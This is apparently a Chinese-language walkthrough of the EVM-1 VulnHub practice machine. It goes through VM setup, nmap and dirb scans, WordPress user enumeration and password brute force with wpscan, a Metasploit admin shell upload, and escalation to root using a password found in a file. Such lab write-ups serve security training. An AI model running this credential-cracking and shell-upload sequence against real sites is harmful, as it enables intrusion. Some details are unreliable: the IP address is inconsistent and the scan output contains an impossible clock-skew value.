Vulhub-EVM1靶机的使用方法

一.环境搭建

Vulhub是一个面向大众的开源漏洞靶场，无需docker知识，简单执行两条命令即可编译、运行一个完整的漏洞靶场镜像。旨在让漏洞复现变得更加简单，让安全研究者更加专注于漏洞原理本身。

地址

https://www.vulnhub.com/entry/evm-1,391/

下载ova镜像文件，vbox导入，设置两张虚拟网卡，分别为NAT模式和仅主机模式（改为默认网卡配置）

ip为192.168.124.156
二.信息搜集：
（端口扫描）

nmap -A 192.168.124.56Starting Nmap 7.70 ( https://nmap.org ) at 2019-12-16 01:45 ESTNmap scan report for localhost (192.168.124.56)Host is up (0.00035s latency).Not shown: 993 closed portsPORT    STATE SERVICE     VERSION22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)| ssh-hostkey: |   2048 a2:d3:34:13:62:b1:18:a3:dd:db:35:c5:5a:b7:c0:78 (RSA)|   256 85:48:53:2a:50:c5:a0:b7:1a:ee:a4:d8:12:8e:1c:ce (ECDSA)|_  256 36:22:92:c7:32:22:e3:34:51:bc:0e:74:9f:1c:db:aa (ED25519)53/tcp  open  domain      ISC BIND 9.10.3-P4 (Ubuntu Linux)| dns-nsid: |_  bind.version: 9.10.3-P4-Ubuntu80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))|_http-server-header: Apache/2.4.18 (Ubuntu)|_http-title: Apache2 Ubuntu Default Page: It works110/tcp open  pop3?139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)143/tcp open  imap        Dovecot imapd|_imap-capabilities: CAPABILITY445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)MAC Address: 00:0C:29:C4:5F:AA (VMware)Device type: general purposeRunning: Linux 3.X|4.XOS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4OS details: Linux 3.2 - 4.9Network Distance: 1 hopService Info: Host: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE; OS: Linux; CPE: cpe:/o:linux:linux_kernelHost script results:|_clock-skew: mean: 1h49m59s, deviation: 2h63m12s, median: 0s|_nbstat: NetBIOS name: UBUNTU-EXTERMEL, NetBIOS user: , NetBIOS MAC:  (unknown)| smb-os-discovery: |   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)|   Computer name: ubuntu-extermely-vulnerable-m4ch2ine|   NetBIOS computer name: UBUNTU-EXTERMELY-VULNERABLE-M4CH1INE\x00|   Domain name: \x00|   FQDN: ubuntu-extermely-vulnerable-m4ch2ine|_  System time: 2019-12-16T01:48:21-05:00| smb-security-mode: |   account_used: guest|   authentication_level: user|   challenge_response: supported|_  message_signing: disabled (dangerous, but default)| smb2-security-mode: |   2.02: |_    Message signing enabled but not required| smb2-time: |   date: 2019-12-16 01:48:21|_  start_date: N/A

（目录扫描）
开始使用dirb进行目录扫描dirb http://192.168.124.56/

从目录扫描看出他有wordpress所以先试试之前使用过的工具wpscan

wpscan --url http://192.168.124.56/wordpress/ -e u

成功得到账号c0rrupt3d_brain，现在继续破解他的密码
wpscan --url http://192.168.124.56/wordpress/ -e u -P /chen.txt

成功破解出密码24992499

现在开始使用msfconsole 使用模块

unix/webapp/wp_admin_shell_uploadset RhOSTS 192.168.124.56set USERNAME c0rrupt3d_brainset PassWORD 24992499set targeturi /wordpressrun

直接进入他的家目录之后cd root3r 进来之后发现有一个文件似乎是root密码文件

现在进行查看发现似乎是密码，既然已经知道了密码所以接下来进入交互页面如下图：

shellpython -c "import pty;pty.spawn('/bin/bash')"su root

密码输入为:willy26

成功拿到root